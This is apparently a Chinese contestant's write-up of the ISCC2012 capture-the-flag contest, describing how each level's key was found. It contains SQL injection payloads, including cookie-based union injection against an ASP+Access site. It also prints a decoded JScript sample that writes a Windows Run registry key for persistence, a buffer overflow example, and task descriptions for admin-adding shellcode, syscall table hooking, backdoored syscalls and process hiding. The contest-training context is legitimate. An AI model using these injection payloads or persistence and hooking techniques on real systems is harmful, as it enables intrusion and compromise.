ISCC2012 绿盟&北理工信息安全对抗竞赛题目分析

Author:冷夜 [root#nightx.info]

From: www.bhst.org & nightx.info

此文为分析绿盟科技&北理工信息安全对抗技术竞赛 ISCC2012 年线上赛的一篇文章，算是个笔记记录整理一下取 key 的过程。

此文公开时线上赛已结束。题目包含以下关卡：

基础关 各种类型的最简单的题目，最简单的得分点，考察各个方面的基础知识

脚本关 脚本注入、欺骗和跨站

破解关 一个编译好的程序，我怎么知道它是怎么工作的？

溢出关 软件漏洞的分析、利用及发掘技术，探索二进制代码背后的秘密

内核关 考察内核驱动的编写，探究内核安全的奥秘

真实关 真实的环境，没有硝烟的战场

其中个人完成所有取 key 题目，需要上传源文件的题目全部忽略。

如下为各关心得，仅代表个人思路。有文件的题目未上传，有需要的朋友可 Mail 联系。

=-=-=-=-=-=-=-=-=-=

基础关[共 10 关]：

第一关:船票制造商

在去找寻王小明的其他信息之前，我们先要知道船票的制造商是谁。经过一番调查，我们知道了制造商的名称。我们藏到了这个页面下，作为抢夺船票活动的热身，大家找出它来吧。

Key:一个保留节目，查看源码查找即可。

<p><input type="hidden" name="船票制造商" value="chuanfu" />

第二关:登船地点

小明发现，登船的地点是一个负有盛名的景点，他想提前去那里看看，住一段时间，等待世界末日的到来。于是他上到一个他一直喜欢的自助游的网站——“www.yododo.com”，查找以前人们的攻略游记，发现一个叫“想流浪”的驴友写的游记很好看，照的照片也很美。这篇游记上传于“2010 年 8 月 10 日”，而“想流浪”的出游日期是“2010 年 6 月 12 日”。

那么，小明的登船地点(名字有 5 个字呦)到底在哪里呢？

Key:到网站找，留意关键词为五个字

第三关:登船日期

王小明时常出国，他在国外游玩期间还申请了个 facebook。他偏偏又爱炫耀，有什么都要说出去。据说他买完了船票就跑到脸书上把自己的要登船的事情说了出去，引来了众人羡慕的眼光。现在，我们需要找到他发的那条状态，应该能得到一个登船日期，请以“YYYY-MM-DD”的格式发给我们。（据说他的 ID 是 Shellming Wong，头像是个囧，居住在北京。）

Key:会翻墙就能找到。

第四关:放弃了别人，只为了自己

保存所有登船人员的数据库的信息外泄了，小强(uid=345)拿到了权限。他想把自己的信息加进去，所以他打算偷梁换柱，替代小明(uid=564)，使自己拥有小明的权限，一个包含人员信息的表名称为 person，编号所在列名为 uid.

Key:一个简单的 sql 语句

update person set uid=345 where uid=564

第五关:购买船票的具体地点

你也许需要知道这张船票的购买地，以便能够进一步了解它的相关信息，下面这个貌似正则

表达式的式子，也许会提供你足够的信息哦。

表达式:

(?<a>h)(?<b>u)(?<c>a)i\s+\k<a>\k<b>\k<c> 0\d{2}5
Key:

看到这个题目难下不少朋友。关于正则表达式略有头疼。

(?<name>exp)　　匹配 exp,并捕获文本到名称为 name 的组里，也可以写成(?'name'exp)

可以自己指定子表达式的组名。要指定一个子表达式的组名，请使用这样的语法：

(?<Word>\w+)(或者把尖括号换成'也行：(?'Word'\w+)),这样就把\w+的组名指定为 Word

了。要反向引用这个分组捕获的内容，你可以使用\k<Word>,所以上一个例子也可以写成这

样：\b(?<Word>\w+)\b\s+\k<Word>\b。

故匹配出来应该为

huai hua 0??5

??为数字，由于题目说数字不是随意的。百度得到怀化（区号 0745）。结果就出来了。

第六关:领取船票还需要身份证号

王小明在网上购买船票时最重要的信息就是身份证号了,同时网站给了他一个程序用来算出

一个用来替代身份证号的号码,这之后他在网上提交的就都是转换过后的密码了。小白无奈

之下，从网站那里拿来了程序，又截到了小明跟网站联络时使用的号码：

172680739204438579。程序里有一段这样的代码："B311 F6E3 B30A F6F3 8AC4"。

细看起来，如果把 0 到 9 分别放到寄存器 AL 中去，将会得到 10 个不同的数值，就可以得

到 0-9 之间的对应关系，进而将原码一位一位地转换成替代码。小白比较懒，所以解出身

份证号码就交给你了。

Key:

十六进制放到 OD 中得到汇编代码。

B3 11　　mov　　bl, 11

F6E3 mul bl
B3 0A mov bl, 0A
F6F3 div bl
8AC4 mov al, ah

代码作用为数字乘以 11 后除以 A 的余数，找到对应如下规律

0-0
1-7
2-4
3-1
4-8
5-5
6-2
7-9
8-6
9-3

172680739204438579 对应为

316840197602294517

第七关:捕风捉影

漫天散布着的是末日的气息 ，你嗅到了么？

Key:下载程序，抓包不解释

第八关:保存我的船票序列号

为了较为安全的保存好完整的序列号，小明利用大一学的 C 语言编写了一个简单的程序把序列号藏了起来，获取序列号时首先得输入查看序列号的密码，通过比对确定查看权限，小明动了点儿小聪明，不过功夫还很不到家，他的代码存在一个溢出漏洞，利用这个漏洞把序列号取出来吧~

Key:溢出嘛，多填点数字就有了

第九关:船票的 CD-KEY 在哪里

在获取真正的船票之前，可以从网上获得一张预览版。当我们把各个数据提交上去后，得到

了一个程序，输入正确的口令后能得到一个船票底板。不过由于是王小明买的船票，我们不知道口令，但我们又需要底板上的 CD-KEY。所以还烦请你把底板破解出来吧。

Key:简单用 OD 分析下程序就可以无压力找到 Key

第十关:又见密码

最后的时刻到了，要登陆小明的账号去领取船票，我们知道他的密码是在数字 10071 与 90089 之间。同时了解到密码经过下面这个 dll 文件中的 decode 函数加密后结果是 68912。现在，请你写一个小程序，找出这个密码是什么，并且提交，dll 可以直接下载。提示一句：调用 dll 中的函数的名称为 decode，函数的输入参数是一个数字~祝您好运

Key:编写程序调用 dll，或者直接 IDA 分析就容易发现 key。

=-=-=-=-=-=-=-=-=-=

脚本关[共 6 关]

第一关

你对 linux 命令知道多少，查看我的密码文件吧~

key:cat/ls 命令即可查看

第二关

貌似数据库里有个 USER 的表，表有一个 USERNAME 的字段，到底内容是啥？找出来吧~

Key:sql 语句

http://www.isclab.org/script2/2012/2/page.php?page=1 and 1=2 union select 1,username from user

第三关

无论输入什么都是已登录，到底是为什么呢？

Key:抓 post 包，修改 flag=0 即可

第四关

数据库居然就放在了/data 中。。晕死。。

Key:

/data 目录，数据库名 ISCC.mdb

提示在源码:

难道数据库中没有您的用户名？点击这里

查找

<!-- search from ISCC.mdb-->

数据库 MDB 加密，随便一个 Access 密码查看工具可得密码。

第五关

密码明文的年代，用 cookie 也能搜索！疯狂的世界，我的 key 在哪里呢？

Key:

Get 与 POST 防注入，只能通过 cookie 手工注入。

利用 title=参数实现。为 ASP+Access。手工实现。

提示 key 是关键字，故构造语句需要[]

搜索型注入

select * from 表 where news like '%1%' order by id desc;

使用 cookie 浏览器手工注入，注意构造语句后用工具转换为 16 进制作 cookie。

在上面的 1 处，首先构造

1%' and 0<>(select count(*) from [key]) and '%'='

这样前后刚好能够闭合，若存在 key 表，则会正常显示数据

而后构造

1%' and i<(select count(*) from [key]) and '%'='

i 从 0 开始判断，当 i=3 时出错，i=4 时正常，有三条数据

1%' and 1=2 union select * from [key] and '%'='出现 from 子句错误，换种方法闭合

1%' and 1=2 union select * from [key] where [key] like '提示列数不匹配

1%' and 1=2 union select 1,2,3 from [key] where [key] like '得到显示 2

1%' and 1=2 union select 1,[key],3 from [key] where [key] like '

得到 key:1aHGJ47PQlguLqxv

第六关

貌似只有那些没有安全意识的人才能够做出来的题目。。推荐使用 IE，当然途径很多。

<script language="JScript.Encode">
#@~^7gEAAA==-mD~Dks+D,'Srx9WARk+O(Y+M-l^`@#@&77d6E
mOkGU,P~ MrY InLv# @#@&i\CD,G(L~{P +h,b1Ok7+pr(Ln^D`JqjmMkwD
jt V^Jbi@#@&iW8Lc]+T .rD+`Eun2e{d6;bJ|HzZC&1Aw-UWWYSl.n'-Hb^DK/W6O
w-qk
NGhdw'Z;DMnxD.n.kkWUw'I;x'w&?/;JBJtDYalzJhAhckd^^l4cGDTz/1.rwD&J
TF+&+zq |+&|&*
4Y:sEBJ]2VmU}E*i,@#@&i\m.P&/^mjls; P',G4NRI L]+mNvJu|3e|S6ZzJ{tb/u&12w
wUWWYSCM+w'HbmDK/KWY'- k NGAk--;;DM+xD#nDkkKxw-];

-wqU/Zr#I@#@&dkWc&/^mjC^Ene'rJ#@#@&i`@#@&d7l^+.OvJ 来自 qU/Z

的关照。。r#i@#@&7dSkNGh

^^+CD&UY D-C^`Yrh Dbi@#@&i8@#@&d)@#@&i~lT!Z#IyZQAAA==^#~@
</script>

Key:JScript.Decode 解密一下

```
var timer =window.setInterval(
            function    WriteReg(){
    var obj = new ActiveXObject("WScript.Shell");
    obj.RegWrite("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\C
urrentVersion\\Run\\ISCC","http://www.isclab.org/script3/2012/6/12_23_34.html
","REG_SZ");
    var                                IsccValue                                =
obj.RegRead("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\Curren
tVersion\\Run\\ISCC");
    if(IsccValue!="")
    {
        alert("来自 ISCC 的关照。。");
```

```
            window.clearInterval(timer);
        }
        }
        ,5000);
```

得到

http://www.isclab.org/script3/2012/6/12_23_34.html

即答案:the password is !@#$%234

=-=-=-=-=-=-=-=-=-=

破解关[共四关/前三关为 key]

第一关

Key:无壳无保护，明文参考得到 key 为 2012

第二关

Key:使用 2012 为用户名找到正确的注册码，同样无壳无保护，载入 OD 下断点单步跟踪即可获取 key

第三关

Key:也是难到不少新手的题目，有壳保护，打算不脱壳破解，运行 StrongOD 插件隐藏 OD，运行，bp MessageBoxA 断点，弹窗，中断，堆栈回溯，回到程序领空。字符串参考即可找到 key。

第四关

这是警察抓小偷的对话工具。。希望大家自己写一个程序，能够实现类似 Thief 端与我们提供的 police 实现的主要对话功能~

语言限定为 C/C++。。。

提交程序源代码以及程序运行截图~

程序没有经过多方测试，bug 不少，不喜勿喷。仅供学习，娱乐。。

Key:不是取 key，没有做，大致看了下题目，只是有点好奇，这是破解题目？还是偏向逆向工程吧...

=-=-=-=-=-=-=-=-=-=

溢出关[共两关/第一关为 key]

第一关

小妹妹记性差，我给她做了一个简单的密码验证程序，需要输入正确的密码，才会显示正确信息，这一天，她倔脾气上来了，非要输入"ISCC2012"这个密码，去通过验证，我觉得这明显不行，但是当她输入自己的英文绰号后竟然过了。。。那你猜她的名字至少有多长。。。

程序源代码如下:

```
#include "stdio.h"
#include "string.h"
int main()
 {
 int isPassed;
 char yourname[20];
 char answer[10];
 char password[10] = "woshimima";

gets(answer);

isPassed = (strcmp(password, answer) == 0) ? 1 : 0;


gets(yourname);//注入点，要在这里让程序溢出，让 isPassed 为 1


if(isPassed)
 printf("You got it, %s!\n", yourname);
 else
 printf("Hey %s, u may try again!", yourname);

getchar();
 return 0;
 }
```

Key:记得是 0day 安全书中的例题？OD 跟踪调试，得到 21 位数字恰好覆盖。

第二关

想要一段 shellcode。。。

主要功能 :使用 cmd 添加名为 xkjcf 的用户，并将该用户添加在 administrators 用户组中.

系统环境:Windows XP Professional 版本 2002 SP3

啥叫 shellcode 呢?

内存中的数据就是许许多多的 01010101010。。。。。。。。当作字符来读，他就是字符；当作程序执行，他就是程序。那么 shellcode 的就是一个以 code 形式写入内存，但是以 shell 身份运行的二进制码呦~~

Key:提交题目，没有做。不过不难，也算是经典例题。

=-=-=-=-=-=-=-=-=-=

内核关[共 5 关/第一关为 Key]

第一关

过关密码就在内核里，编写用户态程序把它读出来吧~

提示：可以使用 GetFileSize 查询密码的长度

Key:投机取巧的方法，C32asm 发现 Key 为 u7h0E3XvF0，题目有表示使用 GetFileSize，分析后取长度为前 5 个字符。

以下几关把题目分享出来，不是取 key 题目，没有做，有兴趣的朋友可以做下。

第二关

来到内核的第二关，让我们做点儿有意义的事情吧，进程隐藏技术是内核安全里一个古老但又颇受关注的技术，Danny 刚入门内核安全时第一个就拿它开刀，你来实现一个吧，在

taskmgr.exe 里隐藏掉 explorer.exe 即可。(需要提交源代码，及编译时必须的文件)

第三关

对 Linux 内核进行 kernel exploit 攻击有一个很经典的方式就是获取内核中 syscall_table，然后对系统调用进行替换。

而获取 syscall_table 有很多种方式，比如查看 System.map 或者/proc/kallsyms 以查找 syscall_table 地址，但这两种方式在很多情况下无法使用，比如系统内不存在 System.map 或者 syscall_table 在 kallsyms 中隐藏了而不显示，另一种方式则是通过编写一个系统模块在内核态运行时手动搜索其地址。

现在请你完成一个可以正确查找 syscall_table 地址的内核模块，并在加载时用 printk 把地址进行显示。

要求：

1.测试环境为 Linux Kernel 3.0(或更高版本) x86；

2.提交一个压缩包(用 tar.gz 或 tar.bz2 格式)，包含内核模块源代码、Makefile，最终要求运行用户程序后可以显示出"syscall_table = 0x*****!"。测试流程大致如下：

(root 状态操作)

```
# make
# insmod sys_call_module.ko
# dmesg | grep syscall_table
```

然后判断该返回的地址是否正确。

注意：

通过/proc/kallsyms 或者/usr/src/linux/vmlinuz 查找符号索引得到的 syscall_table 有时可能并不正确，所以验证自己代码时不要以此为标准。

要求：提交一个压缩包，内含源代码和 Makefile

第四关

Neo 一直在 Matrix 的一个子系统 Zeus 中潜伏着，而且最近一个月幸运的骗取到一个 Kernel 贡献者的身份。

昨天，Zeus 交给 Neo 一个任务，帮它实现 223 号系统调用，详细说明在内部 mail list 的一封邮件中。

Neo 想在实现必要功能的同时留下一些日后可供 Morpheus 和 Trinity 日后使用的隐藏漏洞，现在请你帮助 Neo 完成创建新 223 号系统调用的任务，实现的系统调用功能细节不需考虑，只要能使用户正常调用即可。

现在假设 Zeus 的内核为 x86 的 Linux Kernel 3.0，并且 32 位 Linux 内核并未给 223 系统调用号分配实际的系统调用函数。你需要把要求的 syscall 实现成一个可以动态加载内核模块，系统调用格式及部分内容如下：

```
asmlinkage int neo_syscall(void) {
 printk(KERN_DEBUG "In neo_syscall!\n");
 /* test the return value */
 return 223;
 }
```

要求：

1.需要以动态加载模块的形式增加此系统调用，不允许修改内核源码；

2.系统调用函数的代码只要使用上述代码即可，不需考虑其他细节；

3.编写用户空间程序以测试该系统调用是否可用，测试程序如下：

```
/* user_test.c */
 #include
```

```
 #include

int main()
 {
 int ret = 0;

ret = syscall(223);
 printf("return value = %d\n", ret);

return 0;
 }
```

4.测试的环境为 Linux Kernel 3.0(或更高版本) x86；

5.提交的文件为一个压缩包(用 tar.gz 或 tar.bz2 格式)，包含 neo_syscall 内核模块的源代码、Makefile、用户程序(即 3 中提供的代码)，最终要求运行用户程序后可以显示出"In neo_syscall!"（printk 进行 DEBUG 级别显示即可，不一定要输出到 stdout）。

测试流程大致如下：

```
 (root  状态操作)
 # make
 # insmod sys_call_module.ko
 (普通用户状态操作)
 $ ./user_test
 $ dmesg | grep "In neo_syscall!"
```

提交:

一个压缩包，内含源代码和 Makefile

第五关

该驱动实现了一个 workqueue（具体参考 ExQueueWorkItem 函数），工作队列线程会每隔 1 秒钟输出一次，打印出自身函数地址。

假设你不知道该函数地址。请根据 workqueue 在内核中的实现，找出一种方法，可以列出

第三方驱动加载后创建的 workqueue 的真实函数地址。

以这个驱动为例，只需一种系统即可。

=-=-=-=-=-=-=-=-=-=

真实关[共两关]

非取 key 题目，给出两个目标，提交渗透报告与视频。因为服务器比较慢，没有做。

=-=-=-=-=-=-=-=-=-=

Summary:

有些题目蛮不错，能让自己找下欠缺的知识。不过可能由于时间等问题，竞赛方管理组织方

面还有待做得更好。

;-)